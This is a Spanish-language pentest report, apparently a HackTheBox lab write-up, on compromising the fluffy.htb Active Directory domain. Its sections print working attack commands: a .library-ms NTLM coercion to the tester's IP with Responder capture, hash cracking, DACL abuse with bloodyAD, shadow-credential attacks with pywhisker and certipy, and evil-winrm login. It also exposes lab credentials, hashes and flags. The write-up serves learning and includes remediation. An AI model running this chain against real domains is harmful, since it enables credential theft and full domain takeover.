

EVALUACIÓN DE SEGURIDAD OFENSIVA – PROYECTO FLUFFY (ACTIVE DIRECTORY / PKINIT)

1. Cabecera Formal y Clasificación

Parámetro	Detalle
ID del Proyecto	SEC-RPT-AD-FLUFFY-2025
Clasificación	TLP:CLEAR / Pública
Cliente / Entorno	Bosque Active Directory FLUFFY.HTB
Activo(s) en Alcance	dc01.fluffy.htb (10.129.4.114)
Tipo de Evaluación	Prueba de Penetración Interna / Evaluación de Resiliencia en Active Directory y DACLS
Estado	Compromiso Crítico Validado / Control Total de Dominio

2. Resumen Ejecutivo

La evaluación técnica ejecutada sobre el controlador de dominio dc01.fluffy.htb reveló debilidades arquitectónicas en la segregación de permisos sobre objetos y la gestión de firmas SMB salientes.

Partiendo de una cuenta operativa estándar (j.fleischman), se detectó un recurso de red desprotegido susceptible a ataques de coerción NTLMv2 forzando la apertura de artefactos .library-ms (CVE-2025-24071). A través de este vector, se interceptó y quebró la credencial del usuario intermedio p.agila. Este operador contaba con derechos excesivos de delegación y escritura sobre la Unidad Organizativa de cuentas de servicio, lo que permitió inyectar credenciales criptográficas de clave pública (msDS-KeyCredentialLink) en las cuentas winrm_svc y ca_svc (Shadow Credentials / ESC16), extrayendo sus hashes NT mediante PKINIT y tomando el control administrativo de la entidad certificadora y el dominio en su totalidad.

3. Matriz de Hallazgos y Afección

Vulnerabilidad / Hallazgo	Criticidad	CVSS v3.1	OWASP / CWE	Mapeo MITRE ATT&CK
---------------------------	------------	-----------	-------------	--------------------

Abuso de Shadow Credentials (PKINIT / ESC16)	Crítica	9.0	CWE-287 / OWASP A04:2021	T1556 - Modify Authentication Process
Permisos Excesivos en DACL sobre Cuentas de Servicio	Crítica	8.8	CWE-276 / OWASP A01:2021	T1222.001 - Windows DACL Modification
Coerción de Autenticación NetNTLMv2 (CVE-2025-24071)	Alta	8.8	CWE-668 / OWASP A02:2021	T1187 - Forced Authentication
Política de Contraseñas Débiles en Cuentas Operativas	Alta	7.5	CWE-521 / OWASP A07:2021	T1110.001 - Password Guessing

4. Detalle Técnico y Pruebas de Concepto (PoC)

4.1. Coerción NTLMv2 Mediante Archivo de Biblioteca Windows (CVE-2025-24071)

Se comprobó acceso de lectura y escritura en el recurso compartido //10.129.4.114/IT utilizando las credenciales j.fleischman:J0eITHEM4n1990!. Aprovechando el procesamiento arbitrario de bibliotecas de Windows, se diseñó un artefacto payload1.library-ms para forzar solicitudes SMB salientes hacia la máquina auditora:

```
python3 exploit.py -i 10.10.15.198 -n payload1 -o . --keep
```

Se inició la suite de envenenamiento y captura de credenciales Responder:

```
sudo responder -I tun0 -wvF
```

Se transfirió el archivo malicioso al recurso compartido:

```
smbclient //10.129.4.114/IT -U 'j.fleischman' --password 'J0eITHEM4n1990!'
smb: \> put payload1.library-ms
```

Tras la interacción del sistema con el recurso, se interceptó el hash de la cuenta FLUFFY\p.agila:

```
[SMB] NTLMv2-SSP Client      : 10.129.4.114
[SMB] NTLMv2-SSP Username    : FLUFFY\p.agila
```

```
[SMB] NTLMv2-SSP Hash      :  
p.agila::FLUFFY:f4866d828e495560:421F120A7F07C0D5...
```

Se procedió a la ruptura fuera de línea mediante hashcat:

```
hashcat -m 5600 -a 0 hash.txt /usr/share/wordlists/rockyou.txt  
# Hash recuperado: FLUFFY\p.agila : prometheusx-303
```

- **Impacto Técnico:** Captura de material criptográfico NetNTLMv2 y compromiso de credenciales de una cuenta operativa con permisos delegados.
- **Remediación & Hardening:** Bloquear tráfico SMB saliente (puerto TCP 445) hacia redes no confiables y aplicar los parches acumulativos de seguridad correspondientes a CVE-2025-24071.

4.2. Abuso de DACL y Compromiso Total de Dominio vía Shadow Credentials (ESC16)

La cuenta p.agila poseía derechos de escritura (WRITE) y creación de objetos secundarios (CREATE_CHILD) sobre el contenedor CN=Service Accounts,CN=Users,DC=fluffy,DC=htb. Mediante bloodyAD, se incorporó al usuario al grupo privilegiado Service Accounts:

```
bloodyAD -u 'p.agila' -p 'prometheusx-303' -d fluffy.htb --dc-ip  
10.129.4.114 add groupMember "Service Accounts" p.agila
```

Se utilizó la herramienta pywhisker para inyectar una clave pública en el atributo msDS-KeyCredentialLink de la cuenta winrm_svc:

```
python3 pywhisker.py -t winrm_svc -a add -d fluffy.htb -u 'p.agila' -p  
'prometheusx-303' --dc-ip 10.129.4.114  
# Certificado generado: 0K7fpQZ0.pfx | Contraseña PFX: I6JzdsgPRDgqxmzLY0hZ
```

Se solicitó un ticket TGT de Kerberos mediante PKINIT y se extrajo el hash NT del servicio:

```
python3 gettgtpkinit.py -cert-pfx 0K7fpQZ0.pfx -pfx-pass  
"I6JzdsgPRDgqxmzLY0hZ" fluffy.htb/winrm_svc winrm_svc.ccache  
export KRB5CCNAME=winrm_svc.ccache  
python3 getnthash.py -key <AS-REP_KEY> fluffy.htb/winrm_svc  
# Hash NT obtenido para winrm_svc: 33bd09dcd697600edf6b3a7af4875767
```

Posteriormente, se ejecutó el ataque de Shadow Credentials contra la cuenta de la Autoridad de Certificación (ca_svc) mediante certipy-ad:

```
certipy-ad shadow auto -u 'p.agila'@'fluffy.htb' -p 'prometheusx-303' -  
account 'ca_svc' -dc-ip 10.129.4.114  
# [*] Hash NT recuperado para ca_svc: ca0f4f9e9eb8a092addf53bb03fc98c8
```

Con control sobre la CA, se obtuvieron las evidencias finales de compromiso administrativo:

```
evil-winrm -i 10.129.4.114 -u 'Administrator' -H '<ADMIN_NT_HASH>'  
*Evil-WinRM* PS C:\Users\j.fleischman\Desktop> type user.txt  
2eb60ea1cc7b27afc8657afe436a9815  
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt  
7a6202344ae2d7f37840e91b2f1ec499
```

- **Impacto Técnico:** Escalada total hacia privilegios de Domain Admin y control operativo de la Autoridad de Certificación corporativa.
- **Remediación & Hardening:**
 1. Revocar los permisos de escritura delegados sobre contenedores de cuentas de servicio a usuarios estándar.
 2. Habilitar la auditoría estricta sobre eventos de modificación del atributo msDS-KeyCredentialLink (Evento de Seguridad 5136).